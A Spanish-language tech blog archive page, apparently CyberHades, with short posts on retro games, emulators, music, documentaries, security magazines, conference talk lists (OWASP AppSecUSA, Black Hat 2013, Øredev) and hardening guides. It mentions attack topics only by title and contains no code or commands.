Su nombre es 8086tiny y corre sobre prácticamente cualquier máquina little endian y ha sido probado en procesadores Intel de 32/64 bits (Windows, Linux y Mac OS X), Nexus 4/ARM (Android), iOS (iPad 3 y iPhone 5S) o Raspberry Pi (Linux).

Domingo por la mañana, Alcest, Tir Nan Og

Spotify & GrooveShark

Alcest.

Er docu der finde: Control de la mente

Ingeniería inversa de Strike Commander

El sitio web the Fabien Sanglard ya es bien conocida por nosotros y han sido varias las entradas que hemos publicado haciendo referencia a éste.

Ayer mismo empezó una nueva serie (no terminada aún) sobre los detalles técnicos de la estructura interna de otro gran juego de los 90: Strike Commander.

A modo de anécdota, parece ser que después de que Origin System fuera adquirida en septiembre de 1992 por Electronic Arts, uno de los desarrolladores que se incorporó al equipo, en su primer día de trabajo borró el directorio de red donde se encontraba todo el código fuente del mismo y todo el equipo de IT se pasó 72 horas recuperando el código fuente de las máquinas del resto de programadores, según podemos ver en el siguiente vídeo donde se entrevistan a dos miembros del equipo que desarrolló dicho juego:

Er docu der finde: Experimento Filadelfia

Réplica del nuevo Mac Pro ... usando una papelera

El responsable de esta réplica del nuevo Mac Pro usando una papelera de baño, publicó su hazaña en la popular web TonyMacx86 , especializada en proyectos orientados a ejecutar OS X en un PC estándar. La placa base es una Gigabyte z78n Wi-Fi mini-ITX y también lleva una gráfica AMD Radeon HD7740. Incluso las dimensiones son parecidas al modelo original de Apple.

Eso sí, el hardware de esta réplica no tiene nada que ver con la "bestia" del Mac Pro. Por ejemplo, el dual core Haswell Core i3 instalado en el Mac Pro "Papelera" no tiene nada que ver con el Ivy Bridge Xeon con 4, 6, 8 ó 12 cores ..

El vídeo que condujo a la detención de Aaron …

Como todos ya sabemos Aaron Swartz apareció ahorcado en su apartamento hace poco más de un año (11 Enero 2013), después de dos años de persecución por parte de la ley (fiscalía de Massachussetts), acusado inicialmente fraude informático y de comunicaciones (computer y wired fraud) por la descarga de millones de documentos académicos de JSTOR y hacerlos públicos.

Este es el vídeo (grabado por una cámara de vigilancia) que le condujo a su detención:

Domingo por la mañana, Free Energy, Girls Want …

Spotify y GrooveShark

Er docu der finde: Isaac Newton, el último mago

La Pira de Hades, El Bolsón de Higgs

HITB Magazine número 10

La revista trimestral HITB (Hack In The Box) ha lanzado su décimos número. Es una revista electrónica sobre sobre seguridad informática que te puedes descargar de forma totalmente gratuita desde este enlace (PDF).

El contenido de ésta es el siguiente:

• Network Security
  • TCP Idle Scans in IPv6
  • You Can Be Anything You Want To Be: Bypassing “Certified” Crypto in Banking Apps
  • Practical Attacks Against Encrypted VoIP Communications
• Database Security
  • Attacking MongoDB: Attack Scenarios Against a NoSQL Database 
• Application Security
  • Random Numbers. Take Two: New Techniques to Attack Pseudorandom Number Generators in PHP
  • Hunting for OS X Rootkits in Memory
  • Revealing Embedded Fingerprints: Deriving Intelligence from USB Stack Interactions
  • Diving Into IE 10’s Enhanced Protected Mode Sandbox
  • Exploiting XML Digital Signature Implementations
  • Defeating Signed BIOS Enforcement
• Computer Forensics
  • Dynamic Tamper-Evidence for Physical Layer Protection
  • SVFORTH: A Forth for Security Analysis and Visualization
• Computer Security
  • Under the Hood: How Actaeon Unveils Your Hypervisor
• Mobile Security
  • Introduction to Advanced Security Analysis of iOS Applications with iNalyzer

Esto es prácticamente lo único que puedes …

Cruce de la calle 40 con la Sexta Avenida, esquina con Bryan Park. Nueva York. (Foto CyberHades)

Triste pero cierto, una mención en un cruce de calles y una placa en el hotel The New Yorker.

Eso es todo.

Estas son las únicas referencias a un genio de nuestro tiempo, quizás el inventor que más impacto ha tenido en nuestra actual sociedad mundial, en la ciudad que lo vio crecer como científico hasta su solitaria muerte en ese mismo hotel tal día como hoy, un 7 de Enero de 1943 (con la única compañía de los agentes de la CIA y el FBI, recogiendo todos sus papeles con sus trabajos y llevándoselos para siempre).

Visitando el nuevo hogar del transbordador …

Click en la foto para abrir la galería

Tuve la suerte de visitar este mes de Diciembre, en el portaaviones Inteprid, en Nueva York, el pabellón que ahora es el nuevo hogar de la lanzadera espacial Enterprise. Esta lanzadera nunca despegó hacia el espacio, pero fue la primera de todas y sirvió para hacer pruebas de vuelo y aterrizaje. Seguro que todos habéis visto esa famosa foto de un Boing llevándolo encima (yo tenía este póster en mi casa cuando tenía 15 años):

Domingo por la mañana, Beirut, After The Curtain, …

Olivia, bienvenida a este mundo, dimensión, simulación por ordenador o lo que sea … ;)

Spotify y GrooveShark

Beirut

Los mayores fracasos de Apple

Fuente

Er docu der finde: Ojo con tus datos

Material educativo de la mano de la Agencia …

ENISA (European Network and Information Security Agency), desde el 2008 ha ido publicando una serie de ejercicios prácticos para ayudar a aquellos que quieran adquirir los conocimientos de un buen CERT (Computer Emergency Respond Team).

El material está dividido en 29 ejercicios que se corresponden a distintas fases de la respuesta a una incidencia. El material está compuesto por dos documentos: Handbook (documento para el profesor) y el Toolset (documento para el alumno). Además de estos, dispones de varias máquinas virtuales en las que tienes el sistema ya preparado para llevar a cabo las prácticas.

Vídeos de la 30c3

Durante el pasado fin de semana (viernes a lunes) se celebró en Alemania, Hamburgo la ya veterana CCC, Chaos Communication Congress, que celebraba su 30 edición. Como viene ocurriendo desde hace unos años, todas las charlas se emitían en vivo a través de internet e incluso podías seguirla por teléfono.

Si te perdiste alguna de las charlas o simplemente quieres volver a ver alguna de las que seguiste, ya puedes descargarte los vídeos. Además del sitio oficial, tienes otras alternativas como:

ROMs MAME

Los que añoramos los vídeo juegos de las máquinas recreativas de antaño, de vez cuando desempolvamos nuestro querido MAME (Multiple Arcade Machine Emulator) y nos echamos una partida a esos juegos que tantas monedas de cinco duros se llevaron de nuestro bolsillo.

El problema de MAME, aunque el emulador en sí es totalmente gratuito, no lo son las ROMs (juegos), pero curiosamente en la magnífica web archive.org han subido a la sección destinada a MAME y MESS un archivo de nada más y nada menos que de 42.8GB llenos de juegos para dicho emulador.

Domingo por la mañana, Time to Dance, The Shoes

Vídeo oficial, la canción empieza en el minuto 1:43

Spotify & GrooveShark

The Shoes

Er docu der finde: Mediostán

Parte 1

Parte 2

Parte 3

¡Feliz Navidad y próspero año nuevo!

Desde Cyberhades os deseamos que paséis una muy feliz Navidad y un próspero año nuevo.

Un abrazo a tod@s.

Posters sobre la estructura interna de varios …

Ya hemos publicado con anterioridad alguna entrada sobre los magníoficos pósters de Corkami. Esta vez y a modo de regalo de navidad, Ange Albertini (nombre de pila del autor de los mismos) nos regala un pack con 7 pósters:

• PE (Portable Executable, binarios ejecutables de Windows)
• COM (binarios ejecutables de Microsoft creado en 1981
• ELF (binarios ejecutables en sistemas *NIX)
• Mach-O (binarios de OS X)
• Clase Java (ficheros compilados Java)
• PDF
• ZIP

El archivo con los 7 póster lo podéis descargar desde aquí. Además de los posters, en dicho archivo también podrás encontrar algunos ejemplos de como crear dichos ficheros en ensamblador.

El archivo está protegido con la contraseña: 123456

Google Tips

Si como yo has perdido un poco la pista de los servicios que ofrece Google, sus funcionalidades y como se integran entre ellos, Google ha lanzado otro servicio llamado Google Tips. Éste servicio nos provee sugerencias (Tips) sobre ciertas funcionalidades que ofrecen varios de los servicios de dicha compañía.

Google Tips nos permite buscar por servicio en sí o por categoría, compartir las sugerencias y además nos permite enviar las nuestras propias, y quien sabe, lo mismo las publican.

Domingo por la mañana, Arcade Fire, Afterlife

 

Vídeo oficial (mejor que muchas películas, la canción empieza en el minuto 1:30)

Espectacular versión en directo en los premios Youtube:

Spotify y GrooveShark.

Experta en seguridad explica la estructura de la …

No os perdáis este vídeo sobre una charla sobre la estructura de la deep web porque no tiene desperdicio. Si no hablas hebreo, activa los subtítulos.

Según parece la mayor parte de los conocimientos de esta experta vienen de un póster publicado en 4chan a modo de broma. Espero que todo esto sea una broma o algo por el estilo…

Coleccionando todas las cheat sheets

Cheat sheets, hojas de referencias, chuletas, etc, como quieras llamarlas, suelen venir muy bien para consultas rápidas.

Actualmente son tantas las tecnologías, aplicaciones y sistemas que usamos que es complicado mantener ordenada y actualizada nuestra colección de cheat sheets. Pero existen sitios que hacen esa ardua tarea por nosotros, como por ejemplo overapi.com.

overapi.com es un sitio web que mantiene organizada una gran colección de cheat sheets, más orientadas al desarrollo de aplicaciones. Desde lenguajes de programación, hasta sistemas operativos, IDEs, editores, bases de datos, repositorios de código, etc. Además de proveernos de toda esta información de forma centralizada, también disponen de una extensión para Google Chrome, desde la cual podrás acceder de forma aún más cómoda a toda la información que concentra el sitio.

Er docu der finde: Pantallas Extremas - IMAX

Érase una aplicación en el año 2013

Fuente

¿Qué revista lee David L. Lightman en la película …

Asumo que la gran mayoría habéis visto la película Juegos de guerra. Allá por el minuto 24 de película, David está sentado en la mesa cenando. En dicha escena a David se le ve leyendo una revista y aquí la pregunta es: ¿Es la revista real o es parte de la creación de la película?

Eso es lo que Michael Waden se le ha pasado por la cabeza por mucho tiempo y sin ton ni son, no dudó en ponerse a investigar dicha cuestión.

Er docu der finde: Minecraft, The Story of MOJANG …

Cómo el teclado definió el significado de ciertas …

Muchos de vosotros usan a diario sistemas *NIX y seguramente todos sabéis que la tilde ~ indica el directorio home, pero ¿alguna vez te has preguntado el por qué? ¿Y los que usáis Vi o Vim? ¿Os habéis preguntado por qué la tecla Esc (Escape) es para cambiar los modos? ¿Y por qué las teclas hjkl actúan como teclas de cursor para movernos por el texto?

Las respuestas a esas preguntas se encuentran en el terminal ADM-3A. En este terminal si os fijáis bien, en la parte superior derecha tiene la Home y además esa tecla se usaba para escribir el símbolo ~. Luego si nos fijamos en las teclas HJKL, vemos que éstas tienen las flechas que indican la dirección del movimiento del cursor, las teclas de cursor. Y finalmente si miráis en la parte derecha, la tecla Esc está bastante cerca de la posición natural de las manos cuando estamos tecleando.

Los juguetes estrella de los últimos 50 años

Fuente: http://www.abbyryandesign.com/50years50toys/

Sistema de análisis de detección de intrusión para …

Mac Intrusion Detection Analysis System o MIDAS (no tiene nada que ver con el rey) es un framework o serie de utilidades que nos facilita la implementación de un sistema de análisis de detección de intrusiones sobre sistemas Mac.

Es una idea iniciada por el equipo de seguridad de Facebook, pero en la que Etsy se embarcó y actualmente es desarrollado y mantenido por los equipos de seguridad de ambas empresas.

Dentro de una tienda Tesla

He tenido la suerte de visitar una tienda Tesla en USA, aquí tenéis algunas fotos. Creo que se me ha saltado hasta una lágrima ... ;) haz click en las fotos para verla en más tamaños:

No se a vosotros, pero a mi el logo y el nombre ya me tiene ganado .. sólo por esto compraría el coche.

Er docu der finde: El monstruo de la vía láctea

The MagPi número 19

Ya tenemos el número de diciembre, 19, de la revista electrónica sobre Raspberry Pi, The MagPi.

En este número podemos encontrar el siguiente contenido:

• QUADCOPTER
• ENVIRONMENTAL MONITOR
• ANDYPI
• PROJECT CURACAO: REMOTE SENSOR MONITORING IN THE CARIBBEAN
• PHYSICAL COMPUTING
• PIBRUSH
• CATCH-UP TV
• THE PI STORE
• COMPETITION
• THIS MONTH'S EVENTS GUIDE
• SONIC PI AT CHRISTMAS
• FEEDBACK

Podéis descargaros el PDF desde aquí o leerla online

Kano, un ordenador para todas las edades

Kano es un proyecto en forma de kickstarter cuya promesa es la de proveer un kit para montar tu propio ordenador inicialmente pensado para niños.

El kit contiene lo siguiente:

• Raspberry Pi Modelo B
• Fuente de alimentación
• Tarjeta de memoria (8 Gb) con el sistema ya instalado (Kano OS)
• Adaptador USB inaĺámbrico
• Cable HDMI
• Cable mini-usb
• Teclado con touchpad
• Carcasa para el Raspberry Pi
• Altavoz
• Pegatinas
• Dos libros
  • Level 1: Make a computer. En éste te explican como poner todas las piezas juntas
  • Level 2: Levels. En este otro te enseñan como programar, hacer música, etc.

Aunque Kano inicialmente fue creado para niños, una vez montado es un ordenador totalmente funcional y por lo tanto puede ser usado por cualquier persona. Kano OS, estando basado en Debian, puedes prácticamente hacer casi cualquier cosa con él que esté al alcance de un sistema Debian.

Aquí puedes ver un vídeo de presentación del kit:

Introducción a la seguridad informática, redes y …

Otra clase de la CMU (Carnegie Mellon University) sobre seguridad informática, redes y criptografía aplicada (Introduction to Computer Security, Network Security, and Applied Cryptography) que termina (realmente acaba mañana con un examen) y que publica el material de estudio.

Esta clase ha sido llevada a cabo por el profesor David Brumley (mentor del equipo PPP).

La clase introduce conceptos fundamentales sobre la seguridad informática y la criptografía aplicada. Toca temas como: análisis de vulnerabilidades, defensa, explotación, ingeniería inversa, seguridad en redes incluyendo las inalámbricas y criptografía aplicada.

(IN)SECURE Magazine número 40

La magnífica revista electrónica gratuita sobre seguridad informática (IN)SECURE ha publicado su número 40. La podéis descargar desde aquí (PDF). El contenido de la misma es el siguiente:

• How malware became the cyber threat it is today
• Testing anti-malware products
• Shoulder surfing via audio frequencies for XBox Live passwords
• How to write Yara rules to detect malware
• Report: HITBSecConf2013 Malaysia
• Using Tshark for malware detection
• 5 questions for the head of a malware research team
• Beyond apps, beyond Android: 2013 mobile threat trends
• Malware analysis on a shoestring budget
• Report: Virus Bulletin 2013
• Digital ship pirates: Researchers crack vessel tracking system
• Exploring the challenges of malware analysis
• Evading file-based sandboxes
• Report: RSA Conference Europe 2013
• Data security to protect PCI data flo

200 factores que Google tiene en cuenta para …

Fuente

Buenas prácticas en PowerShell

Durante la Scripting Games 2013 hubo bastante debate sobre qué es lo correcto o lo no correcto en el mundo de PowerShell scripting. Aquí lo correcto se refiere a buenas prácticas (best practices) a la hora de escribir scripts en PowerShell, es decir, no se refiere si un script hace lo que tiene que hacer, sino cómo escribirlo para que sea fácil de leer, mantener y entender y que sean efectivos.

Películas de acción y terror, desde un punto de …

Alien, Predator ó Robocop son sólo algunas de las versiones Manga del artista Matsuda Yuusuke ¿no son adorables, incluso los terroríficos personajes de HellRaiser?

Visto en io9, donde hay más caracterizaciones.

¿Y tú de qué vas?, David Hernández "Dabo"

1) ¿Quién eres y a qué te dedicas? 

Cosecha del 71, de Bilbao y felizmente afincado en Asturias desde hace 20 años. Fanboy (peor que los de Apple, lo sé-;) de GNU/Linux en general y de Debian en particular. Tengo un blog con un nombre poco original, podcaster de casualidad, aspirante a alpinista y una persona muy afortunada por los amigos que tengo, incluyendo a la gente que me ayuda a llevar adelante los proyectos en los que estoy metido (Daboweb, DebianHackers, el podcast, Caborian, etc).

Domingo por la mañana, Magic Man, Waves

Spotify y GrooveShark

Magic Man

Fortificación de sistemas Android e iOS

Desde la wiki de la Universidad de Texas, nos brindan con una lista de recomendaciones a tener en consideración para asegurar o fortificar sistemas Android y iOS.

Ambas listas están basada en las recomendaciones ofrecidas por el Center Internet Security (CIS).

Las listas se presentan en forma de tablas, donde la primera columna (Step) indica el orden a seguir, la segunda es dónde iremos marcando si hemos ejecutado dicha recomendación, la tercera nos indica el número de referencia asignado por el CIS en caso que éste exista, la siguiente columna UT Note, contiene un enlace a información adicional (esta información es específica al laboratorio de la universidad en sí, pero eso no quiere decir que te sea útil) y por último, las últimas dos columnas Cat I y Cat II/III, de nuevo, esta es una clasificación interna de la universidad dónde definen la política de clasificación de la información. De cualquier forma, estas dos columnas definen el tipo de información que el sistema contiene y cuanto más delicada sea ésta, más seguridad deberías aplicar al sistema.

¿Cómo afecta el café y la cerveza al cerebro?

Conclusión, bebe cerveza por la mañana y café por la tarde/noche, prácticamente lo contrario que hace la mayoría :)

Fuente: http://en.ilovecoffee.jp

Er docu der finde: Trading de Alta Frecuencia

Presentaciones de OWASP AppSecUSA 2013

Otra de las remarcadas conferencias sobre seguridad informática, OWASP AppSecUSA 2013, fue celebrada en Nueva York del 18 al 21 de noviembre. Para los no privilegiados, aquí tenéis la lista de los vídeos (diapositivas con audio):

• OWASP Zed Attack Proxy - Simon Bennetts
• The Cavalry Is US: Protecting the public good - Josh Corman, Nicholas Percoco
• 2013 AppSec Guide and CISO Survey - Marco Morana, Tobias Gondrom
• Top Ten Proactive Controls - Jim Manico
• Forensic Investigations of Web Exploitations - Ondrej Krehel
• Big Data Intelligence - Ory Segal, Tsvika Klein
• All the network is a stage, and the APKs merely players - Daniel Peck
• BASHing iOS Applications - Jason Haddix, Dawn Isabel
• What You Didn't Know About XML External Entities Attacks - Timothy Morgan
• OWASP Hackademic - Konstantinos Papapanagiotou
• OWASP Periodic Table of Elements - James Landis
• Why is SCADA Security an Uphill Battle? - Amol Sarwate
• Making the Future Secure with Java - Milton Smith
• Tagging Your Code with a Useful Assurance Label - Robert Martin
• HTML5: Risky Business or Hidden Security Tool Chest? - Johannes Ullrich
• Thinking Differently About Security - Mary Ann Davidson
• The 2013 OWASP Top 10 - Dave Wichers
• PiOSoned POS - A Case Study in iOS based Mobile Point-of-Sale gone wrong - Mike Park
• Verify your software for security bugs - Simon Roses Femerling
• Insecure Expectations - Matt Konda
• Hacking Web Server Apps for iOS - Bruno Oliveira
• (Audio only) PANEL: Aim-Ready-Fire moderated by Wendy Nather
• AppSec at DevOps Speed and Portfolio Scale - Jeff Williams
• Application Security: Everything we know is wrong - Eoin Keary
• An Introduction to the Newest Addition to the OWASP Top 10 - Ryan Berg, Jeff Williams
• Mobile app analysis with Santoku Linux - Andrew Hoog
• Accidental Abyss: Data Leakage on The Internet - Kelly FitzGerald
• Mantra OS: Because The World is Cruel - Gregory Disney-Leugers
• (Audio only) Wassup MOM? Owning the Message Oriented Middleware - Gursev Singh Kalra
• Case Study: 10 Steps to Agile Development without Compromising Enterprise Security - Yair Rovek
• Contain Yourself: Building Secure Containers for Mobile Devices - Ron Gutierrez
• iOS Application Defense - iMAS - Gregg Ganley
• Pushing CSP to PROD - Brian Holyfield, Erik Larsson
• Leveraging OWASP in Open Source Projects - Aaron Weaver, David Ohsie, Bill Thompson
• HTTP Time Bandit - Vaagn Toukharian, Tigran Gevorgyan
• NIST - Missions and impacts to US industry, economy and citizens - James St. Pierre, Matthew Scholl
• Revenge of the Geeks: Hacking Fantasy Sports Sites - Dan Kuykendall
• Hack.me: a new way to learn web application security - Armando Romeo
• OWASP Broken Web Applications (OWASP BWA): Beyond 1.0 - Chuck Willis
• Can AppSec Training Really Make a Smarter Developer? - John Dickson
• The Perilous Future of Browser Security - Robert Hansen
• (Audio only) PANEL: Women in Information Security - moderated by Joan Goodchild
• (Audio only) Panel: Don't Tell Me Software Security - moderated by Mark Miller

Vídeos de la Øredev Developer Conference 2013

La Øredev Developer Conference es una conferencia orientada al desarrollo de software en general. Ésta se viene celebrando desde al año 2005 y la edición de este año 2013 se celebró del 4 al 8 de noviembre en Suecia. Aquí os dejo la lista de vídeos de las charlas que se dieron:

• Implementing Micro­Service Architectures (Fred George)
• Implementing Programmer Anarchy (Fred George)
• Git secrets (Brent Beer)
• Programming, Only Better (Bodil Stokke)
• Postgres: The Bits You Haven't Found Yet (Peter van Hardenberg)
• Why Kotlin? (Svetlana Isakova)
• Functional Groovy (Andres Almiray)
• Let's Stop Faking It (Michael Larsen)
• Designer, developer communication (Heidi Harman)
• Developer Designer Communication (Heidi Harman)
• Lightning Fast SQL with Proper Indexing (Markus Winand)
• Design for times 10 or times 100: How to handle hundreds of millions played games per day. (Lars Sjödin)
• Discovering Type Providers in F# 3.0 (Rachel Reese)
• The Creativity (R)Evolution (Denise Jacobs)
• Google Glass, an introduction for developers (Mattias Erlö)
• A Live hacking demo that will make you care more about securing your code! (Marcus Murray)
• What's new in Visual Studio 2013 for web developers (Mads Kristensen)
• Azure Mobile Service – The backend for the masses (Dag König)
• F# for trading (Phil Trelford)
• Windows: Having it's ass kicked by puppet and PowerShell since 2012 (Paul Stack)
• Concurrent Applications with F# Agents (Rachel Reese)
• Lean UX: Building products people want (Adrian Howard)
• Aesthetics and the Beauty of an Architecture: Adventures in CQRS and Event Sourcing (Tom Scott)
• Spring 4 on Java 8 (Juergen Hoeller)
• Java Mission Control: Flight Recorder Deep Dive (Marcus Hirt)
• RRRADDD! Ridiculously rapid domain-driven (and restful) apps with Apache Isis (Dan Haywood)
• Refactor your specs! (Cyrille Martraire)
• Windows Phone 8 SDK: Beyond the Basics with Wallet, In-App Purchasing and Maps. (Michael Crump)
• Coding Tips and Tricks I Learned from Making Some of the Biggest Apps Out There (Atley Hunter)
• Symbiotic relationships between testing and analytics (Julian Harty)
• "Do it yourself"...Custom JavaFX Controls (Gerrit Grunwald)
• Cloud Infrastructure as Code (Henrik Lindberg)
• Developers Can't Design (And Other Completely Untrue Design Myths) (Jen Myers)
• Introduction to the Play Framework (James Ward)
• The next version of JavaScript: ES6 on the frontend, in the real world (John K. Paul)
• Effective Node.js Programming and Module Creation (Jed Wood)
• Unconventional promises - using promises for the kitchen sink, and control flow nivana (John K. Paul)
• Breakout - of the tiles (Håkan Reis)
• No Estimates: Let's explore the possibilities (Roy "Woody" Zuill)
• Security Avalanche – understanding today’s modern protocols (Michele Leroux Bustamante)
• Firefox OS - the platform HTML5 deserves (Christian Heilmann)
• Data visualization, infographics and big open data (Steen Lehmann)
• Regression Obsession (Michael Bolton)
• Advanced Android App Architectures + Lifecycles (Bryan Costanich)
• Balancing ATDD, GUI Automation and Exploratory Testing (Michael Larsen)
• An Artistic Science Approach to Analysis and Reporting Performance Data (Scott Barber)
• Practical Tools for Playing Well with Others (J. B. Rainsberger)
• Being Secure on a Mobile Platform (Siren Hofvander)
• Open APIs - risks and rewards (Andreas Krohn)
• Adopting Continuous Delivery (Jez Humble)
• Heuristics of Testability (James Bach)
• Art & code with XKCD (Randall Munroe)
• The Art of Ruby on Rails (Steve Klabnik)
• Gradle for Android and the rest of the world (Luke Daley)
• ZeroMQ – A Whole Bunch of Awesome [C# Edition] (Ashic Mahtab)
• HTML5 Hacks (Jesse Cravens)
• An Open Source Grid-Based Actor Model (Vaughn Vernon)
• Efficient Android Threading (Anders Göransson)
• Windows Phone 100+ Apps In – What I have Learned (Atley Hunter)
• Livin on the edge: Netflix edge architecture (Adrian Cole)
• C# Cross Platform Mobile with Xamarin (Bryan Costanich)
• F# for C# developers (Phil Trelford)
• Hands On with Clojure (Bodil Stokke)
• Windows Phone 8- the advanced session for the creative child at heart (Iris Classon)
• Functional Principles for Object-Oriented Developers (Jessica Kerr)
• Lightning introduction to three NoSQL technologies (Joel Jacobson)
• 30 NuGet Packages in 50 Minutes (Shay Friedman)
• if (BetterConcurrency == BetterPerformance) { ... (Kirk Pepperdine)
• Modern Component Design with Spring (Juergen Hoeller)
• How To Structure Your JavaEE 7 App (Adam Bien)
• Unlocking the Java EE Platform with HTML5 (Geertjan Wielenga)
• Agile Lightning Talks (J. B. Rainsberger)
• So What About Tablets? (Richard Campbell)
• Enterprise git collaboration patterns (Brent Beer)
• Tracking and Improving Software Quality with Sonar (Patroklos Papapetrou)
• Scaling mobile development at Spotify (Per Eckerdal)
• Less is more! - when it comes to art and software (Jimmy Nilsson)
• Code as a crime scene (Adam Petersen Tornhill)
• Managing Asynchronicity with RQ (Douglas Crockford)
• Shakespeare in Dev (Thomas Q Brady)
• The future of Java in the grander scheme of things (Tomas Nilsson)
• Habits of a Responsible Programmer (Anders Janmyr)
• Go To There and Back Again (Douglas Crockford)
• Entity Framework in Core-Business Applications that Leverage DDD (Julie Lerman)
• Building Secure and Social Applications (Michele Leroux Bustamante)
• Distributed teams - a pragmatic way (Björn Granvik)
• Building Reactive Apps with Play Framework, Akka, and Scala (James Ward)
• Layers Considered Harmful (Christian Horsdal)
• Ubuntu, a potent new force in mobile (David Planella)
• Release your creativity - join OpenJDK (Cecilia Borg)
• The Curious Case of JavaScript on the JVM (Attila Szegedi)
• Data @ King - How we are able analyze 100M DAU (Mats-Olov Eriksson)
• Being Lean in the Cloud: Continuous Deployment with Amazon Web Services (Martin Elwin)
• tekhnasthai (Anna Beatrice Scott)
• The Third Wave of Artfulness in Code (Matthew McCullough)
• Does Pair Programming Have to Suck? (Angela Harms)
• Mob Programming, A Whole Team Approach (Roy "Woody" Zuill)
• The Art of Learning and Mentoring (Jutta Eckstein)
• Rebranding Agile: How Marketers are Changing the Way they Work for Real-time World (Frank Days)
• Extreme Personal Finance (J. B. Rainsberger)
• New Frontiers For In-House Legal Practice (Kate Sullivan)
• The Art of Building Tools - A Language Engineering Perspective (Markus Voelter)
• Have You Seen Spring Lately? (Joshua Long)
• Go Beyond "Debug": Wire Tap your App for Knowledge with Hadoop (Oleg Zhurakousky)
• ElasticSearch - Distributed search on BigData made easy (Itamar Syn-Hershko)
• The very near future of a richer, standards based web (Christian Heilmann)
• Taking a PaaS on the Hard Stuff with Cloud Foundry (Joshua Long)
• Building End to End Web App Using TypeScript (Gil Fink)
• Building Web Applications with Ember.js and Ruby On Rails (Jesse Cravens)
• The Art of Ruby (Steve Klabnik)
• What's New in JAX-RS 2 (Reza Rahman)
• What is new in XAML for Windows 8.1 (Tess Ferrandez)
• Android Design: Beyond the Guidelines - Creating character and identity in your applications (Kevin Grant)
• NodeJS: the good parts? A skeptic’s view (Chris Richardson)
• Crafted Technology and Experiences (Petra Sundström)

RAT open source

Hay varias formas con las que nos podemos hacer con una botnet: comprar, alquilar, hacerte con la botnet tú mismo (¿robar?) o hacerte la tuya propia.

Comprar o alquilar, si dispones del dinero y quieres hacer dicha inversión… Hacerte con una botnet existente no es fácil y se requieren ciertos conocimientos técnicos, tiempo y paciencia. Y al hacerte tu propia botnet, pues más de lo mismo, conocimientos muy técnicos para construir la infraestructura y mucho tiempo.

¿Cuánto sabes de C++11?

Pues eso, ¿Cuánto sabes de C++11? Si quieres poner a prueba tus conocimientos, en cppquiz.org tienes un buen número de preguntas o quizzes que te pondrán a prueba.

Las preguntas se presentan como pequeños fragmentos de código, en los que tienes averiguar cual es la salida de los mismos o si hay algún tipo de error. Idealmente debes responder de memoria, es decir, sin copiar, compilar y ejecutar el código en tu sistema. Esto te dará una buena idea de la solidez de tus conocimientos.

Los peligros del Black Friday

Este viernes, día después de acción de gracias, es el día de las rebajas (al menos uno de ellos y quizás el más importante) en los EEUU, conocido como Black Friday. Este día se lanzan ofertas de todo tipo, pero las verdaderas gangas se consiguen en la tienda física.

Hoy hablando con mi compañero Cybercaronte, le comentaba sobre la que se lía ese día y como la gente duerme en la calle para hacer cola. Sí, más o menos como en los tiempos de Steve Jobs y el iPhone/iPad, pero con una sutil diferencia, los que hacen cola este viernes van a por todas y algunos incluso van armados y no tienen la menor duda en usar la violencia si hace falta.

Vídeos de la Black Hat USA 2013

Pues eso, más vídeos, estos son los de la pasada Black Hat celebrada en las Vegas:

• Spy-jacking the Booters
• Hacking, Surveiling, and Deceiving Victims on Smart TV
• Tribute to Barnaby Jack
• Stepping p3wns: Adventures in Full Spectrum Embedded Exploitation
• The Factoring Dead: Preparing for Cyptopocalypse
• Mactans: Injecting Malware Into iOS Devices via Malicious Chargers
• Let's Get Physical: Breaking Home Security Systems and Bypassing Building Controls
• Million Browser Botnet
• Evading Deep Inspection for Fun and Shell
• Exploiting Network Surveillance Cameras Like a Hollywood Hacker
• Owning the Routing Table - Part II
• How to Build a SpyPhone
• What's on the Wire? - Physical Layer Tapping with Project Daisho
• Just-In-Time Code Reuse: The More Things Change, the More They Stay the Same
• BIOS Security
• TOR... ALL-THE-THINGS!
• Truncating TLS Connections to Violate Beliefs in Web Applications
• Rooting SIM Cards
• Fully Arbitrary 802.3 Packet Injection: Maximizing Ethernet Attack Surface
• Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions
• Funderbolt: Adventures in Thunderbolt DMA Attacks
• RFID Hacking: Live Free or RFID Hard
• Home Invasion v2.0 - Attacking Network-Controlled Hardware
• Beyond the Application: Cellular Privacy Regulatory Space
• Legal Considerations for Cellular Research
• A Tale of One Software Bypass of Windows 8 Secure Boot
• I Can Hear You Now: Traffic Interception and Remote Mobile Phone Cloning...
• Buying into the Bias: Why Vulnerability Statistics Suck
• How CVSS is DOSsing Your Patching Policy (and wasting your money)
• Bluetooth Smart: The Good, the Bad, the Ugly, and the Fix!
• UART THOU MAD?
• Press ROOT to Continue: Detecting OSX and Windows Bootkits with RDFU
• SSL, Gone in 30 Seconds - A BREACH beyond CRIME
• Multiplexed Wired Attack Surfaces
• Java Every-Days: Exploiting Software Running on Three Billion Devices
• TLS 'SECRETS'
• Lawful Access Panel
• Clickjacking Revisted: A Perceptual View of UI Security
• OPSEC Failures of Spies
• Hiding @ Depth - Exploring, Subverting, and Breaking NAND Flash Memory
• Honey, I'm Home!! - Hacking Z-Wave Home Automation Systems
• Android: One Root to Own them All
• Abusing Web APIs Through Scripted Android Applications
• Big Data for Web Application Security
• Dissecting CSRF Attacks and Countermeasures
• Above My Pay Grade: Cyber Response at the National Level
• Virtual Deobfuscator - A DARPA Cyber Fast Track Funded Effort
• Teridian SoC Exploitation: Exploration of Harvard Architecture Smart Grid Systems
• New Trends in FastFlux Networks
• CrowdSource: Open Source Crowd Trained Machine Learning Model for Malware Detection
• Denying Service to DDoS Protection Services
• Denial of Service as a Service - Asymmetrical Warfare at its Finest
• Universal DDoS Mitigation Bypass
• Untwining Twine
• Detecting Vulnerabilities in Virtual Devices with Conformance Testing
• Smashing the Font Scaler Engine in Windows Kernel
• The SCADA That Didn't Cry Wolf - Who's Really Attacking Your ICS Devices - 2/2
• Hunting the Shadows: In-Depth Analysis of Escalated APT Attacks
• The Outer Limits: Hacking The Samsung Smart TV
• Out of Control: Demonstrating SCADA Device Exploitation
• Compromising Industrial Facilities from 40 Miles Away
• Hacking Like in the Movies: Visualizing Page Tables for Local Exploitation
• PWNIE AWARDS
• Welcome & Introduction to Black Hat USA 2013
• Mainframes: The Past Will Come to Haunt You
• Black-box Assessment of Pseudorandom Algorithms
• End-to-end Analysis of Domain Generating Algorithm Malware Family
• Javascript Static Security Analysis Made Easy with JSPrime
• The Web IS Vulnerable: XSS Defense on the BattleFront
• Malicious File for Exploiting Forensic Software
• CMX: IEEE Clean File Metadata Exchange
• Mobile Malware: Why the Traditional AV Paradigm is Doomed
• Bochspwn: Identifying 0-Days via System-Wide Memory Access Pattern Analysis
